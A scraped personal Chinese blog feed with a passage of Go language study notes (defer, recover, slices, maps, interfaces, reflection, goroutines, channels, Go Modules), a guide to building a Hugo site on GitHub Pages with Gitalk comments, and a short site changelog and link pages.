/* 调用 swap() 函数 * &a 指向 a 指针,a 变量的地址 * &b 指向 b 指针,b 变量的地址 */ swap(&a, &b) fmt.Printf("交换后,a 的值 : %d\n", a ) fmt.Printf("交换后,b 的值 : %d\n", b ) } func swap(x *int, y *int) { var temp int temp = *x /* 保存 x 地址上的值 */ *x = *y /* 将 y 值赋给 x */ *y = temp /* 将 temp 值赋给 y */ } – 4.4 defer函数 defer在Go里可以放在某个函数或者方法调用的前面,让该函数或方法延迟执行 1 2 3 //语法 defer function([parameter_list]) // 延迟执行函数 defer method([parameter_list]) // 延迟执行方法 defer在函数体内执行,在函数A内调用了defer func(),只要defer func()这行代码被执行到,func这个函数就会被延迟到函数A return或panic之前执行。 函数调用了os.Exit()退出,defer不会被执行了。 如果一个函数中有多个defer语句,它们会以LIFO(后进先出)的顺序执行。 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 func Demo(){ defer fmt.Println("1") defer fmt.Println("2") defer fmt.Println("3") defer fmt.Println("4") } func main() { Demo() } /* 4 3 2 1 */ – 4.5 recover错误拦截 运行时panic异常一旦被引发就会导致程序崩溃。 Go语言提供了专用于“拦截”运行时panic的内建函数“recover”。它可以是当前的程序从运行时panic的状态中恢复并重新获得流程控制权。 recover只有在defer调用的函数中有效。 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package main import "fmt" func Demo(i int) { //定义10个元素的数组 var arr [10]int //错误拦截要在产生错误前设置 defer func() { //设置recover拦截错误信息 err := recover() //产生panic异常 打印错误信息 if err != nil { fmt.Println(err) } }() //根据函数参数为数组元素赋值 //如果i的值超过数组下标 会报错误:数组下标越界 arr[i] = 10 } func main() { Demo(10) //产生错误后 程序继续 fmt.Println("程序继续执行...") } //输出: //runtime error: index out of range //程序继续执行... 5.输入输出 – – 5.1 输出 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 //Print系列函数会将内容输出到系统的标准输出,区别在于Print函数直接输出内容,Printf函数支持格式化输出字符串,Println函数会在输出内容的结尾添加一个换行符。 func Print(a ...interface{}) (n int, err error) func Printf(format string, a ...interface{}) (n int, err error) func Println(a ...interface{}) (n int, err error) func main() { name := "沙河小王子" fmt.Print("在终端打印该信息。") fmt.Printf("我是:%s\n", name) fmt.Println("在终端打印单独一行显示") } – 5.2 输入 1 2 3 4 5 6 7 8 9 10 func Scan(a ...interface{}) (n int, err error) func Scanf(format string, a ...interface{}) (n int, err error) func Scanln(a ...interface{}) (n int, err error) fmt.Scan(&name, &age, &isMale)//fmt.Scan在没有扫描完所有变量之前是不会结束扫描的 fmt.Scanf("name:%s age:%d isMale:%v", &name, &age, &isMale)//遇到换行即结束扫描,如果还有没输入的变量值,该变量会按默认值处理 fmt.Scanln(&name, &age, &married)//遇到换行即结束扫描,如果还有没输入的变量值,该变量会按默认值处理 6.slice切片、map – 6.1 数组 Go 数组的长度不可改变,不同大小的数组是不同的变量类型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //声明数组 var arrayName [size]dataType var balance [10]float32 //初始化数组 var numbers = [5]int{1, 2, 3, 4, 5} numbers := [5]int{1, 2, 3, 4, 5} // 将索引为 1 和 3 的元素初始化 balance := [5]float32{1:2.0,3:7.0} //二维数组初始化 a := [3][4]int{ {0, 1, 2, 3} , /* 第一行索引为 0 */ {4, 5, 6, 7} , /* 第二行索引为 1 */ {8, 9, 10, 11}} /* 第三行索引为 2 */ //数组传参 void myFunction(param [10]int)//param []int { } – 6.2 slice Go 语言切片是对数组的抽象 与数组相比切片的长度是不固定的,可以追加元素,在追加时可能使切片的容量增大。 切片不需要说明长度。 1 2 3 4 5 6 7 8 var identifier []type //make()创建切片 var slice1 []type = make([]type, len) //简写为 slice1 := make([]type, len, cap) //len有值的元素数量 切片长度 //cap可省略,切片容量 – 应用举例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //切片在未初始化之前默认为 nil,长度为 0 s :=[] int {1,2,3 } //直接初始化切片,[]表示是切片类型,{1,2,3}初始化值依次是1,2,3.其cap=len=3 s := arr[:] //初始化切片s,是数组arr的引用 s := arr[startIndex:endIndex] //将arr中从下标startIndex到endIndex-1 下的元素创建为一个新的切片,是数组arr的部分引用 s1 := s[startIndex:endIndex] //通过切片s初始化切片s1,仍然是引用 //len() 获取长度 cap() 获取容量 len(x) cap(x) – 增加切片的容量 创建新的大切片,拷贝原分片的内容 1 2 3 4 5 6 7 8 var numbers []int /* 同时添加多个元素 */ numbers = append(numbers, 2,3,4) printSlice(numbers) /* 拷贝 numbers 的内容到 numbers1 */ copy(numbers1,numbers) printSlice(numbers1) – 6.3 map 一种无序的键值对集合 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 //第一种声明 var test1 map[string]string //在使用map前,需要先make,make的作用就是给ma配数据空间 test1 = make(map[string]string, 10) //第二种声明 test2 := make(map[string]string) //第三种声明 test3 := map[string]string{ "one" : "php", "two" : "golang", "three" : "java", } // 增改键值对 myMap["apple"] = 5 // 删除键值对 delete(myMap, "apple") // 检索值 value = myMap["banana"] – 1 2 3 4 5 6 7 8 //嵌套map language := make(map[string]map[string]string) language["php"] = make(map[string]string, 2) language["php"]["id"] = "1" language["php"]["desc"] = "php是世界上最美言" language["golang"] = make(map[string]string2) language["golang"]["id"] = "2" language["golang"]["desc"] = "golang抗并发good" 7.结构体 – 7.1 结构体定义 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 type MyStruct struct { Field1 Type1 Field2 Type2 // 可以有更多字段 } //例如 type Person struct { FirstName string LastName string Age int } //创建实例 p1 := Person{ FirstName: "John", LastName: "Doe", Age: 30, } //访问结构体字段 fmt.Println(p1.FirstName) // 输出 "John" fmt.Println(p2.LastName) // 输出 "Smith" – 7.2 结构体方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 func (receiver ReceiverType) MethodName() ReturnType { // 方法的实现 } //例如 func (p Person) FullName() string { return p.FirstName + " " + p.LastName } //调用 fmt.Println(p1.FullName()) // 输出 "John Doe" fmt.Println(p2.FullName()) // 输出 "Alice Smith" //使用指针接收器,方法接收的是结构体的指针而不是副本,使得修改能够影响原始结构体 func (receiver *ReceiverType) MethodName() { // 方法的实现 } func (p *Person) IncrementAge() { p.Age++ } p1.IncrementAge() fmt.Println(p1.Age) // 输出 31 8.方法值和方法表达式 – 8.1 方法值 方法值是一种将方法绑定到特定实例的函数。它允许您将一个方法作为普通的函数值进行传递、存储和调用。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package main import "fmt" type Circle struct { Radius float64 } func (c Circle) Area() float64 { return 3.14 * c.Radius * c.Radius } func main() { c := Circle{Radius: 5} // 方法值的用法 areaFunc := c.Area area := areaFunc() fmt.Printf("圆的面积:%f\n", area) } – 8.2 方法表达式 方法表达式允许您将方法绑定到类型而不是实例,并将其作为函数值进行传递、存储和调用 接口类型可以由多种不同的类型实现。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package main import "fmt" type Geometry interface { Area() float64 } type Circle struct { Radius float64 } func (c Circle) Area() float64 { return 3.14 * c.Radius * c.Radius } func CalculateArea(g Geometry) float64 { return g.Area() } func main() { c := Circle{Radius: 5} // 方法表达式的用法 areaFunc := (*Circle).Area area := areaFunc(&c) fmt.Printf("圆的面积:%f\n", area) // 使用接口调用方法表达式 area2 := CalculateArea(&c) fmt.Printf("通过接口计算的圆的面积:%f\n", area2) } – 8.3 方法值允许将方法绑定到特定实例并将其用作函数值 方法表达式允许将方法绑定到类型并将其用作函数值。 这两个概念对于 Go 中的面向对象编程和接口实现非常有用。 9.interface与类型断言 – 9.1 interface 1 2 3 4 5 6 7 8 9 10 11 12 13 14 //定义接口 type Person interface { // 声明方法 method1(参数列表)返回值列表 method2(参数列表)返回值列表 } //实现接口 func (t 自定义类型)method1(参数列表)返回值列表 { //方法实现 } func (t 自定义类型)method2(参数列表)返回值列表 { //方法实现 } – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 //在Go中,接口的实现是隐式的。如果一个类型包含了接口中定义的所有方法,那么它被视为实现了该接口。 type Shape interface { Area() float64 Perimeter() float64 } type Circle struct { Radius float64 } func (c Circle) Area() float64 { return math.Pi * c.Radius * c.Radius } func (c Circle) Perimeter() float64 { return 2 * math.Pi * c.Radius } //使用接口可以编写通用的代码,不依赖于具体的类型。例如,可以编写一个函数来计算任何形状的面积和周长: func PrintShapeDetails(s Shape) { fmt.Printf("Area: %f\n", s.Area()) fmt.Printf("Perimeter: %f\n", s.Perimeter()) } func main() { c := Circle{Radius: 5} PrintShapeDetails(c) } 9.2 类型断言 golang中的所有程序都实现了interface{}的接口,这意味着,所有的类型如string,int,int64甚至是自定义的struct类型都就此拥有了interface{}的接口 var a interface{} 定义了一个类型为空接口的变量,可以储存任何值 1 2 3 4 5 6 7 8 9 10 11 12 13 var i interface{} i = 42 value, ok := i.(int) if ok { fmt.Printf("i 是一个整数: %d\n", value) } else { fmt.Println("i 不是一个整数") } //直接断言使用 var a interface{} fmt.Println("Where are you,Jonny?", a.(string)) 9.3 工厂函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 //创建并返回一个新的类型实例 package main import "fmt" // 定义一个接口 type Shape interface { Area() float64 } // 定义一个类型,实现了 Shape 接口 type Circle struct { Radius float64 } // Circle 类型的方法,用于计算面积 func (c Circle) Area() float64 { return 3.14159265359 * c.Radius * c.Radius } // 工厂函数,用于创建 Circle 类型的实例 func NewCircle(radius float64) *Circle { return &Circle{Radius: radius} } func main() { // 使用工厂函数创建 Circle 对象 c1 := NewCircle(5.0) c2 := NewCircle(2.0) // 调用 Circle 对象的方法 area1 := c1.Area() area2 := c2.Area() fmt.Printf("Circle 1 Area: %f\n", area1) fmt.Printf("Circle 2 Area: %f\n", area2) } 10.反射reflect – 变量包括(type, value)两部分 type 包括 static type和concrete type. 简单来说 static type是你在编码是看见的类型(如int、string),concrete type是runtime系统看见的类型 类型断言能否成功,取决于变量的concrete type,而不是static type. 因此,一个 reader变量如果它的concrete type也实现了write方法的话,它也可以被类型断言为writer. – 比如: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package main import "fmt" type Reader interface { ReadBook() } type Writer interface { WriteBook() } //具体类型 type Book struct { } func (this *Book) ReadBook() { fmt.Println("Read a book.") } func (this *Book) WriteBook() { fmt.Println("Write a book.") } func main() { b := &Book{} var r Reader r = b r.ReadBook() var w Writer w = r.(Writer) w.WriteBook() } – reflect.TypeOf()是获取pair中的type reflect.ValueOf()获取pair中的value 示例如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package main import ( "fmt" "reflect" ) func main() { var num float64 = 1.2345 fmt.Println("type: ", reflect.TypeOf(num)) fmt.Println("value: ", reflect.ValueOf(num)) } 运行结果: type: float64 value: 1.2345 – 从已知原有类型创建新的变量 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 realValue := value.Interface().(已知的类型) package main import ( "fmt" "reflect" ) func main() { var num float64 = 1.2345 pointer := reflect.ValueOf(&num) value := reflect.ValueOf(num) // 可以理解为“强制转换”,但是需要注意的时候,转换的时候,如果转换的类型不完全符合,则直接panic // Golang 对类型要求非常严格,类型一定要完全符合 // 如下两个,一个是*float64,一个是float64,如果弄混,则会panic convertPointer := pointer.Interface().(*float64) convertValue := value.Interface().(float64) fmt.Println(convertPointer) fmt.Println(convertValue) } 运行结果: 0xc42000e238 1.2345 – 未知原有类型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package main import ( "fmt" "reflect" ) type User struct { Id int Name string Age int } func (u User) ReflectCallFunc() { fmt.Println("Allen.Wu ReflectCallFunc") } func main() { user := User{1, "Allen.Wu", 25} DoFiledAndMethod(user) } // 通过接口来获取任意参数,然后一一揭晓 func DoFiledAndMethod(input interface{}) { getType := reflect.TypeOf(input) fmt.Println("get Type is :", getType.Name()) getValue := reflect.ValueOf(input) fmt.Println("get all Fields is:", getValue) // 获取方法字段 // 1. 先获取interface的reflect.Type,然后通过NumField进行遍历 // 2. 再通过reflect.Type的Field获取其Field // 3. 最后通过Field的Interface()得到对应的value for i := 0; i < getType.NumField(); i++ { field := getType.Field(i) value := getValue.Field(i).Interface() fmt.Printf("%s: %v = %v\n", field.Name, field.Type, value) } // 获取方法 // 1. 先获取interface的reflect.Type,然后通过.NumMethod进行遍历 for i := 0; i < getType.NumMethod(); i++ { m := getType.Method(i) fmt.Printf("%s: %v\n", m.Name, m.Type) } } 运行结果: get Type is : User get all Fields is: {1 Allen.Wu 25} Id: int = 1 Name: string = Allen.Wu Age: int = 25 ReflectCallFunc: func(main.User) 11.结构体标签 12.goroutine – 协程:coroutine。也叫轻量级线程。 可以轻松创建上万个而不会导致系统资源衰竭。而线程和进程通常很难超过1万个。 一个线程中可以有任意多个协程,但某一时刻只能有一个协程在运行,多个协程分享该线程分配到的计算机资源。 有人把Go比作21世纪的C语言。第一是因为Go语言设计简单,第二,21世纪最重要的就是并行程序设计,而Go从语言层面就支持并发。同时,并发程序的内存管理有时候是非常复杂的,而Go语言提供了自动垃圾回收机制。 Goroutine从量级上看很像协程,它比线程更小,十几个goroutine可能体现在底层就是五六个线程 主goroutine退出后,其它的工作goroutine也会自动退出 只需在函数调⽤语句前添加 go 关键字,就可创建并发执⾏单元。 runtime.Goexit()只需在函数调⽤语句前添加 go 关键字,就可创建并发执⾏单元。 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package main import ( "fmt" "runtime" ) func main() { go func() { defer fmt.Println("A.defer") func() { defer fmt.Println("B.defer") runtime.Goexit() // 终止当前 goroutine, import "runtime" fmt.Println("B") // 不会执行 }() fmt.Println("A") // 不会执行 }() //不要忘记() //死循环,目的不让主goroutine结束 for { } } 13.channel – goroutine运行在相同的地址空间,因此访问共享内存必须做好同步。goroutine 奉行通过通信来共享内存,而不是共享内存来通信。 channel是一个数据类型,主要用来解决go程的同步问题以及go程之间数据共享(数据传递)的问题。 引⽤类型 channel可用于多个 goroutine 通讯。其内部实现了同步,确保并发安全。 我们复制一个channel或用于函数参数传递时,我们只是拷贝了一个channel引用,因此调用者和被调用者将引用同一个channel对象。 和其它的引用类型一样,channel的零值也是nil。 – 13.1定义channel变量 1 2 3 4 5 //chan是创建channel所需使用的关键字。Type 代表指定channel收发数据的类型。 make(chan Type) //等价于make(chan Type, 0) make(chan Type, capacity) //当 参数capacity= 0 时,channel 是无缓冲阻塞读写的;当capacity > 0 时,channel 有缓冲、是非阻塞的,直到写满 capacity个元素才阻塞写入。 – 13.2接收发送数据 阻塞:由于某种原因数据没有到达,当前go程(线程)持续处于等待状态,直到条件满足,才解除阻塞。 同步:在两个或多个go程(线程)间,保持数据内容一致性的机制。 1 2 3 4 channel <- value //发送value到channel <-channel //接收并将其丢弃 x := <-channel //从channel中接收数据,并赋值给x x, ok := <-channel //功能同上,同时检查通道是否已关闭或者是否为空 – 默认情况下,channel接收和发送数据都是阻塞的,除非另一端已经准备好,这样就使得goroutine同步变的更加的简单,而不需要显式的lock。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package main import ( "fmt" ) func main() { c := make(chan int) go func() { defer fmt.Println("子go程结束") fmt.Println("子go程正在运行……") c <- 666 //666发送到c }() num := <-c //从c中接收数据,并赋值给num fmt.Println("num = ", num) fmt.Println("main go程结束") } – 无缓冲的channel 无缓冲的通道(unbuffered channel)是指在接收前没有能力保存任何数据值的通道。 这种类型的通道要求发送goroutine和接收goroutine同时准备好,才能完成发送和接收操作。否则,通道会导致先执行发送或接收操作的 goroutine 阻塞等待。 这种对通道进行发送和接收的交互行为本身就是同步的。其中任意一个操作都无法离开另一个操作单独存在。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package main import ( "fmt" "time" ) func main() { c := make(chan int, 0) //创建无缓冲的通道 c //内置函数 len 返回未被读取的缓冲元素数量,cap 返回缓冲区大小 fmt.Printf("len(c)=%d, cap(c)=%d\n", len(c), cap(c)) go func() { defer fmt.Println("子go程结束") for i := 0; i < 3; i++ { c <- i fmt.Printf("子go程正在运行[%d]: len(c)=%d, cap(c)=%d\n", i, len(c), cap(c)) } }() time.Sleep(2 * time.Second) //延时2s for i := 0; i < 3; i++ { num := <-c //从c中接收数据,并赋值给num fmt.Println("num = ", num) } fmt.Println("main进程结束") } – 有缓冲的channel 有缓冲的通道(buffered channel)是一种在被接收前能存储一个或者多个数据值的通道。 这种类型的通道并不强制要求 goroutine 之间必须同时完成发送和接收。通道会阻塞发送和接收动作的条件也不同。 只有通道中没有要接收的值时,接收动作才会阻塞。 只有通道没有可用缓冲区容纳被发送的值时,发送动作才会阻塞。 这导致有缓冲的通道和无缓冲的通道之间的一个很大的不同:无缓冲的通道保证进行发送和接收的 goroutine 会在同一时间进行数据交换;有缓冲的通道没有这种保证。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 func main() { c := make(chan int, 3) //带缓冲的通道 //内置函数 len 返回未被读取的缓冲元素数量, cap 返回缓冲区大小 fmt.Printf("len(c)=%d, cap(c)=%d\n", len(c), cap(c)) go func() { defer fmt.Println("子go程结束") for i := 0; i < 3; i++ { c <- i fmt.Printf("子go程正在运行[%d]: len(c)=%d, cap(c)=%d\n", i, len(c), cap(c)) } }() time.Sleep(2 * time.Second) //延时2s for i := 0; i < 3; i++ { num := <-c //从c中接收数据,并赋值给num fmt.Println("num = ", num) } fmt.Println("main进程结束") } – 13.3 关闭channel 关闭channel后,无法向channel 再发送数据(引发 panic 错误后导致接收立即返回零值); 关闭channel后,可以继续从channel接收数据 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package main import ( "fmt" ) func main() { c := make(chan int) go func() { for i := 0; i < 5; i++ { c <- i } close(c) }() for { //ok为true说明channel没有关闭,为false说明管道已经关闭 if data, ok := <-c; ok { fmt.Println(data) } else { break } } fmt.Println("Finished") } – 13.4单向channel及应用 声明 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 var ch1 chan int // ch1是一个正常的channel,是双向的 var ch2 chan<- float64 // ch2是单向channel,只用于写float64数据 var ch3 <-chan int // ch3是单向channel,只用于读int数据 //可以将 channel 隐式转换为单向队列,只收或只发,不能将单向 channel 转换为普通 channel: c := make(chan int, 3) var send chan<- int = c // send-only var recv <-chan int = c // receive-only send <- 1 //<-send //invalid operation: <-send (receive from send-only type chan<- int) <-recv //recv <- 2 //invalid operation: recv <- 2 (send to receive-only type <-chan int) //不能将单向 channel 转换为普通 channel d1 := (chan int)(send) //cannot convert send (type chan<- int) to type chan int d2 := (chan int)(recv) //cannot convert recv (type <-chan int) to type chan int 14.封装 – 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package model import( "fmt" ) type person struct{ Name string age int //其他包不能访问 sal float64 //其他包不能访问 } //写一个工程模式的函数,相对于一个构造函数 func NewPerson(name string) *person{ return &person{ Name : name } } //为了访问age和sal我们编写一对SetXxx的方法和GetXxx的方法 func (p *person) SetAge(age int) { if age > 0 && age < 150 { p.age = age }else{ fmt.Println("年龄范围不正确") } } func (p *person) GetAge() int { return p.age } func (p *person) SetSal(sal float64) { if sal >= 3000 && sal <= 30000 { p.sal = sal }else{ fmt.Println("薪水范围不正确") } } func (p *person) GetSal() float64 { return p.sal } 15.Select – select可以监听channel上的数据流动。 select的用法与switch语言非常类似,由select开始一个新的选择块,每个选择条件由case语句来描述。 与switch语句相比,select有比较多的限制,其中最大的一条限制就是每个case语句里必须是一个IO操作,大致的结构如下: 1 2 3 4 5 6 7 8 select { case <- chan1: // 如果chan1成功读到数据,则进行该case处理语句 case chan2 <- 1: // 如果成功向chan2写入数据,则进行该case处理语句 default: // 如果上面都没有成功,则进入default处理流程 } 16. GO Modules – GO111MODULE Go语言提供了 GO111MODULE这个环境变量来作为 Go modules 的开关,其允许设置以下参数: ● auto:只要项目包含了 go.mod 文件的话启用 Go modules,目前在 Go1.11 至 Go1.14 中仍然是默认值。 ● on:启用 Go modules,推荐设置,将会是未来版本中的默认值。 ● off:禁用 Go modules,不推荐设置。 1 $ go env -w GO111MODULE=on – GOPROXY 这个环境变量主要是用于设置 Go 模块代理(Go module proxy),其作用是用于使 Go 在后续拉取模块版本时直接通过镜像站点来快速拉取。 GOPROXY 的默认值是:https://proxy.golang.org,direct proxy.golang.org国内访问不了,需要设置国内的代理. ● 阿里云 https://mirrors.aliyun.com/goproxy/ ● 七牛云 https://goproxy.cn,direct 1 2 $ go env -w GOPROXY=https://goproxy.cn,direct //假设你不想使用,也可以将其设置为 “off” ,这将会禁止 Go 在后续操作中使用任何 Go 模块代理。 – GONOPROXY/GONOSUMDB/GOPRIVATE 这三个环境变量都是用在当前项目依赖了私有模块,例如像是你公司的私有 git 仓库,又或是 github 中的私有库,都是属于私有模块,都是要进行设置的,否则会拉取失败。 更细致来讲,就是依赖了由 GOPROXY 指定的 Go 模块代理或由 GOSUMDB 指定 Go checksum database 都无法访问到的模块时的场景。 而一般建议直接设置 GOPRIVATE,它的值将作为 GONOPROXY 和 GONOSUMDB 的默认值,所以建议的最佳姿势是直接使用 GOPRIVATE。 并且它们的值都是一个以英文逗号 “,” 分割的模块路径前缀,也就是可以设置多个,例如: 1 2 3 4 5 6 7 8 9 $ go env -w GOPRIVATE="git.example.com,github.com/eddycjy/mquote" 设置后,前缀为 git.xxx.com 和 github.com/eddycjy/mquote 的模块都会被认为是私有模块。 如果不想每次都重新设置,我们也可以利用通配符,例如: $ go env -w GOPRIVATE="*.example.com" 这样子设置的话,所有模块路径为 example.com 的子域名(例如:git.example.com)都将不经过 Go module proxy 和 Go checksum database,需要注意的是不包括 example.com 本身。 – 使用Go Modules初始化项目 开启 go modules 1 $ go env -w GO111MODULE=on 初始化项目 1 2 3 4 5 6 7 8 //创建项目目录 $ mkdir -p $HOME/aceld/modules_test $ cd $HOME/aceld/modules_test //执行Go modules 初始化 //go mod init [myproject] $ go mod init github.com/aceld/modules_test go: creating new go.mod: module github.com/aceld/modules_test //如果你的项目位于 GitHub 上的 github.com/yourusername/myproject 代码库中,你可以将模块名称设置为 github.com/yourusername/myproject,以确保模块名称在全局范围内都是唯一的。这样,其他人在使用你的项目作为依赖项时,就可以通过该模块名称来引用它。 初始化后,会: 创建一个新的 go.mod 文件,该文件位于你的项目根目录中。这个文件将用于管理项目的依赖关系。 在 go.mod 文件中指定项目的模块名称为 myproject。 设置 Go 版本,它是当前项目所使用的 Go 语言版本。 依赖管理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 //添加一个依赖 go get github.com/gin-gonic/gin //这将下载依赖项并将其添加到你的go.mod文件中 //更新依赖 go get -u github.com/gin-gonic/gin //移除依赖 go get -u -d github.com/gin-gonic/gin@none //清理未使用的依赖 go mod tidy //下载依赖 go mod download 在 Go Modules 模式下,项目的依赖项通常是保存在项目文件夹外部的。依赖项会被下载并保存在模块缓存目录中,而不是直接存储在项目文件夹内。 tips 1.用切片操作string性能最佳 2.正则表达式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 //正则表达式包 import ( "regexp" ) //编译正则表达式 pattern := "ab+c" regex, err := regexp.Compile(pattern) if err != nil { // 处理编译错误 } //匹配文本 text := "abbc" if regex.MatchString(text) { fmt.Println("文本与模式匹配") } else { fmt.Println("文本与模式不匹配") } //提取匹配内容 text := "abbc" matched := regex.FindString(text) fmt.Println("匹配的文本:", matched) //匹配多次 text := "abbcabccab" matches := regex.FindAllString(text, -1) fmt.Println("所有匹配的文本:", matches) //替换匹配文本 text := "abbcabccab" replacement := "X" newText := regex.ReplaceAllString(text, replacement) fmt.Println("替换后的文本:", newText)

9/7/2023
articleCard.readMore

hugo网站搭建

hugo网站搭建 1.前置条件 go git hugo hugo下载 1.1 hugo下载安装 1 2 go env -w CGO_ENABLED=1 go install -tags extended github.com/gohugoio/hugo@latest 如果出现gcc报错,需要根据如下流程安装gcc 打开链接下载 选择版本下载(win11为例) 解压到目录 C:\Program Files (x86)\mingw64 设置环境变量 1.2 hugo使用 参考文档 中文文档 1.3 github部署hugo模板 在github创建仓库 Repository name那一栏,格式为<name>.github.io。如果你想让你的博客网址就是.github.io,则<name>不能是任意名字,必须是你的github用户名。 gitclone仓库到本地 下载主题模板到本地文件夹内并git push 进入https://github.com/<name>/<name>.github.io点击上方栏的Settings,然后点击左方栏的Pages,在Build and deployment里的Source中选择Github Actions,在下面找到Hugo,点击Configure,在新界面点击右侧的绿色按钮的Commit changes...。 找不到Hugo就去browse all workflows里找。 后续写博客 后续更新只需要在content文件夹加入md文件,然后执行 1.4 links 在某一博的frontmatter中加入如下内容即可 1 2 3 4 5 6 7 8 9 links: - title: GitHub description: GitHub is the world's largest software development platform. website: https://github.com image: https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png - title: TypeScript description: TypeScript is a typed superset of JavaScript that compiles to plain JavaScript. website: https://www.typescriptlang.org image: ts-logo-128.jpg image 允许在线图片和本地图片,如果是本地图片,需要放在 static 文件夹下,然后使用相对路径引用。 1.5 基于gitalk的评论区 使用 GitHub 登录 支持多语言 [en, zh-CN, zh-TW, es-ES, fr, ru, de, pl, ko, fa, ja] 支持个人或组织 无干扰模式(设置 distractionFreeMode 为 true 开启) 快捷键提交评论 (cmd|ctrl + enter) Readme 在线示例 安装 两种方式 直接引入 1 2 3 4 5 6 7 <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.css"> <script src="https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.js"></script> <!-- or --> <link rel="stylesheet" href="https://unpkg.com/gitalk/dist/gitalk.css"> <script src="https://unpkg.com/gitalk/dist/gitalk.min.js"></script> npm 安装 1 npm i --save gitalk 1 2 import 'gitalk/dist/gitalk.css' import Gitalk from 'gitalk' 使用 首先,您需要选择一个公共github存储库(已存在或创建一个新的github存储库)用于存储评论, 然后需要创建 GitHub Application,如果没有 点击这里申请,Authorization callback URL 填写当前使用插件页面的域名。 最后, 您可以选择如下的其中一种方式应用到页面: 在hugo的网站文件夹下的config/params.toml下填写 1 2 3 4 5 6 7 8 9 10 11 12 [comments.gitalk] clientID = "id" clientSecret = "cs" repo = "lihan3238.github.io",//博客网站仓库名字 owner = "lihan3238",//github用户名 admin = ["lihan3238"],//github用户名(仓库有权写写入的人) perpage = 10//每页多少个评论 pagerDirection = "last"//排序方式"last/first" createIssueManually = true//管理员是否手动创建issue distractionFreeMode = false//是否开启无干扰模式(cmd|ctrl+enter)自动发送评论 labels = "gitalk"//issue标签 id = "lihan3238.github.io"//页面唯一id 问题 评论区报错 1 2 3 未找到相关的 Issues 进行评论 请联系 @[lihan3238] 初始化创建 解决方法: 管理员账户登录评论区即可

9/5/2023
articleCard.readMore

计划与博客更新日志

博客更新日志 2.2.0 音乐添加歌词,域名指向修改 更新版本 2.2.0 更新日期 2024.03.30 更新内容: 新增了 Aplayer音乐播放组件开启了歌词显示功能 修改了 lihan.love 暂时弃用; http://coldwintermusic.shop/lihan3238/ 指向lihan3238.github.io 待更新 找个正常域名+ssl证书 2.1.0 随笔页面重启,前端加密限制访问 更新版本 2.1.0 更新日期 2024.02.13 更新内容: 重启了 tips(随笔)页面,使用密码阻止不熟的人访问部分内容: 随笔 1 2 3 在需要加密的文章中添加 password:[密码] passwordPoint:[密码提示] 新增了 lihan.love CNAME了lihan3238.github.io 待更新 补充博客更新日志,呜呜呜,gitcommit记录中考古吧 2.0.0 lihan3238.github.io博客2.0版本 更新版本 2.0.0 更新日期 2024.02.08 更新内容: 重做了 update(更新计划)界面,重命名为计划与博客更新日志 弃用了 gitalk作为随笔页面的实现形式,改为选择tag为musings的文章列出 1 新增了 layout: musings 待更新 tips(随笔)页面重启并加密限制访问 1.0.0 lihan3238.github.io上线 更新版本 1.0.0 更新日期 2023.09.05 更新内容: 上线了 lihan3238.github.io博客 1 使用了 stack主题 计划 计划博文标题示例 1 2 3 4 5 6 7 8 9 - title: 女娲补天计划2.0 2023.11.21 description: 大学接下来的学习与自我提升计划 website: https://lihan3238.github.io/p/save_lihan_again/ image: cuc.png - title: [已完成] 计算机组成原理作业 2023.5.21 description: chap0x02 website: https://lihan3238.github.io/p/xxxxx/ image: computerComponents.png

1/1/2001
articleCard.readMore

搜索

1/1/2001
articleCard.readMore

网站导航

如果你想分享有趣有用的网站,可以直接在下面留言,我会在第一时间添加你的网站。 1 2 3 4 5 # 李寒的小窝 - title: 李寒的小窝 - description: here is lihan's personal blog. - website: https://lihan3238.github.io - image: https://user-images.githubusercontent.com/140466644/266218167-0a08d24b-2f75-4a6b-9253-227612dffa98.png

1/1/2001
articleCard.readMore

友链展板

